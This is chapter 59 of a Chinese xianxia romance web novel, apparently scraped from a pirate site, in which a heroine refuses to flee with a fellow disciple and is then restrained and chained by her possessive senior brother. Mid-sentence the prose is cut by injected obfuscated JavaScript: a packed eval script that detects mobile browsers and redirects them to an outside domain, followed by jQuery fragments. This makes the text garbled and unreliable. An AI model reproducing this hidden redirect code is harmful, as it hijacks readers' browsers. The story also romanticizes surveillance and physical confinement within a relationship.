59. 第 59 章

作品:《跪求师兄放我去死

    第五十九章


    -


    随泱有些僵硬,她看向秦曜,方才秦曜说的那些话,好似利刃,刺进了她的脑袋里,让她整个人有些发胀。


    而秦曜看起来却是有了新的决定,只见他朝着随泱的方向走了两步,“泱泱,既然你醒了,那便随我下山去吧,只要你回去了,蘅泽仙君总不能当着众人的面将你抢回去吧?若是那样,他这个仙君定是会叫天下修士所不齿。”


    说着,秦曜面上有些恨恨的,“我瞧他也不像是什么仙君,行事作风,说是魔君也不为过。”


    说着,秦曜便上手抓住了随泱的胳膊,他抬眸看了看天,“我们抓紧下山,不出两个时辰便能追上师父他们了,到时候……”


    秦曜的声音陡然止住,他眉宇之间的喜色一点点淡去,只见他转过头,看向自己空荡荡的手。


    随泱刚刚,挣脱了他的手。


    方才还坐在石块上的人已经站起了身,退了好几步,拉开了同秦曜之间的距离。


    “泱泱,你这是做什么?我知道你与江霈言关系好,可他如今已经不是从前那个待谁都温和有礼的大师兄了,要我说,他也算不上什么仙君,分明有入魔……”


    “你胡说什么!”随泱呵斥道,她只觉得胳膊上有一层细细密密的寒意攀爬起来,她重重喘息两下,看向秦曜,有些不耐烦地摆了摆手,“你先回去吧,师兄已经答应了我给师父送信,我会留在这里,等见到师父再从长计议。”


    “小师妹!”秦曜有些着急,他走向随泱,依旧不放弃想要将人带走,“你莫要相信他了,我向你保证,江霈言说的话都是在骗你,就算让你见到了师父,你从师父口中听到的,也只会是我方才的说辞,到那时,你便是想要跟师父离开,江霈言都不会放你走的……”


    “秦曜,你下山去吧。”随泱打断了秦曜的话,她语气坚定,显然已经做出了决定,无论秦曜怎么说,她都不会改变主意,“我同你之间,本就算不上什么关系亲近,说是不死不休才更合适些。”


    秦曜的动作一顿,他脸色变得有些苍白,心头一紧,的确,从前的自己几乎时时刻刻在寻随泱的霉头,这也难怪,即便自己那样说了,随泱依旧坚持自己的看法。


    可是,现在这样好的机会,怎么能就此放过呢,若是错过今日的机会,秦曜确信,江霈言绝不会放随泱离开的,这一定是唯一的机会了。


    他看向随泱,正要开口剖白,却见随泱的眸光软了两分,声音也不似方才那样硬邦邦的,“我没有不信你,若你依旧像从前那般想要杀我,如今我正虚弱,你动手几乎是必胜的局面,可是秦曜,我也同样信任着江霈言。”


    随泱垂在身侧的手虚握成拳,她眸光闪烁着,也不知想到了什么,“秦曜,你先下山吧,若是师兄见到你,许是你又要吃些苦头了。”


    秦曜不动,他盯着随泱,眼中满是乞求,看起来,似是恨不得跪下来也要劝随泱跟他一起走。


    可是随泱看起来已经没有继续同他说下去的心思了,只见她深吸一口气后,便头也不回地朝着山上走了过去。


    秦曜下意识追上前去,“泱泱,你信我,江霈言他变了!他如今当真和从前没有半点相似的地方了!”


    可是随泱非但没有停下来,反倒越走越快,“你若是继续跟上来,被师兄发现了,我可不会替你求情!”


    随泱的声音随着风飘落,宛若落在了地上的枯叶。


    秦曜的脚步渐渐慢了下来,他盯着随泱的背影,过了许久,咬了咬牙,忽地转身,往山下走去。


    随泱刚刚醒过来,依旧天真地相信江霈言,他可不信,更加不信随泱所说的,江霈言答应了会告知师父她醒过来的事情。


    得快些将泱泱的情况告知师父,只有这样,师父才能细细筹谋,想法子将小师妹带回清风山。


    随泱心里堆着事情,进屋的时候并没有察觉到屋子里有人,闷头走进去,余光瞥见桌边的影子时,心里才咯噔一下,猛地停下了步子。


    随泱看向桌边的人,扯了扯唇,挤出一个笑来,“师兄……”


    江霈言坐在桌边,他手里捏着先前给随泱的那本话本子,话本子的折角崭新如簇,丝毫没有被翻阅过的痕迹,“你去哪儿了?”


    随泱眨了眨眼睛,她在江霈言身侧坐了下来,“在屋子里待着有些闷,我便出去转了转。”


    “师兄,你将我醒来的事情告诉师父了吗?师父什么时候上山来看我?”随泱紧跟着问道,她看向江霈言,轻轻眨动着眼睛。


    江霈言也转头朝着随泱看过来,两人的视线相撞在一起,随泱稍有些不自在,她的呼吸声变重了几分,两人的气息也随之纠缠在一起,外头有风起,吹得方才随泱忘关的门猛地撞上,发出一声有些吓人的声响。


    随泱被惊得睫毛颤了颤,她下意识转头看向巨响传来的方向,可是刚刚转头,手腕便蓦地一痛,她的身子,也被一股极大的力道拽着朝着江霈言的方向倾倒过去。


    随泱低呼出声,“师兄!”


    可是,当她稳住身形,却发现自己已经被江霈言箍在了怀里,刚刚她忽然失了重心,也是因为江霈言忽然伸手拽住了她。


    发现这件事后,随泱自是有些生气,她动了动手腕,想要挣脱江霈言受伤的力道,却发觉面前的人丝毫没有要松手的意思,反倒将她困得更紧了些。


    “江霈言,你要做什么?!”随泱有些生气道,她看向面前的人,扭动着身子,可是江霈言却像是打定了主意一般,任凭随泱挣扎,又抓又挠的,丝毫没有要松开她的意思。


    等到随泱有些力竭,江霈言才低声道,“你方才,是在屋子里太无聊了出去转了转,还是偷偷地去见了什么人。”


    随泱眸光轻闪,她看向了江霈言,停下了挣扎,正要说话时,却又听到江霈言的声音响起。


    “我从前竟是不知道,你同秦曜的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568076|164605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    关系竟是好到了这样的地方不,怎么,你是忘了被秦曜找麻烦的那些日日夜夜?还是不记得秦曜从前对你的挑挑拣拣了?”


    随泱微微一愣,原先想要解释的话堵在了嘴里,她看向江霈言的目光渐渐冷了下来,再开口时,竟是带着无尽的疏离,“江霈言,你监视我?”


    虽是问句,可随泱心里已经清楚地知道了答案。


    江霈言并没有回答随泱的问题,他牢牢抓着随泱的手腕,在他的掌心之下,随泱的手腕之上,已经因为这样的拖拽出现了成片的红色,尤其是随泱这段时间下来,身形瘦削不少,又因为不见阳光,皮肤有几分惨白,这样的红痕弥漫开来后,更加显得骇人刺眼。


    随泱吃痛,垂眸看向了手腕,那红痕刺得她眼睛也发疼。


    再次看向江霈言时,随泱的眼眶竟是有几分红,“江霈言,我见谁,去哪里,那是我自己的事情,你凭什么管我——!”


    随泱还想说些什么,她向来是牙尖嘴利的,更何况江霈言的所作所为的确让她恼怒,可是还不等她继续开口,箍着她的江霈言眼眸竟是变成了赤红色,只见江霈言站起身来,而随泱则是被他单手扛在了肩上。


    随泱拍打着江霈言的背,“你发什么疯!快放我下来,难不成你如今是劳什子蘅泽仙君了,便可以肆意欺辱我了不成?江霈言!你松手!”


    天旋地转。


    只是随泱身上并没有传来撞击的疼痛,她被江霈言扔在了床上的软垫上。她下意识想要起身,可是下一刻,江霈言的手已经压在了随泱的肩膀上。


    “你总是想要离开我。”江霈言道。


    随泱瞪圆了眼睛,她不明白江霈言究竟在说些什么,她只知道,自己竟是觉得江霈言有些痛苦,而她自己,更是因为江霈言的痛苦,同样痛苦。


    像是用钝刀凌迟,一片一片割下随泱的肉一般的痛苦。


    这痛苦让随泱再说不出话来,只能看向江霈言,看着他眼眶赤红,伸出的手臂隐隐有几分颤抖。


    “你总是想要离开我,永远都在筹谋着离开我。”江霈言垂下眼,他低声道,也不知是说给随泱在听,还是说给自己在听。


    随泱从那莫大的痛苦中清醒过来,痛苦之外,是疑惑在膨胀。


    江霈言为什么会这样说呢,难道,他已经知晓了那日在清风总山上的事情,是设计好的?而她也早就知道了自己会死在那里。


    所以,江霈言才会说出自己一直都在筹谋着离开他这样没有前因后果,显得有些奇怪的话来。


    “随泱,怎么到了如今,你依旧只对我这样心狠。”江霈言松开了握着随泱的手,他居高临下地望着躺在那儿的人,眸光一点点地冷了下去,“不过没有关系,你如今,没有办法离开我了。”


    似有惊涛骇浪在随泱心口翻涌,她看向江霈言,呼吸声变得粗重,直到手腕上一凉。


    一条细细的银链子,将随泱的手腕锁住了。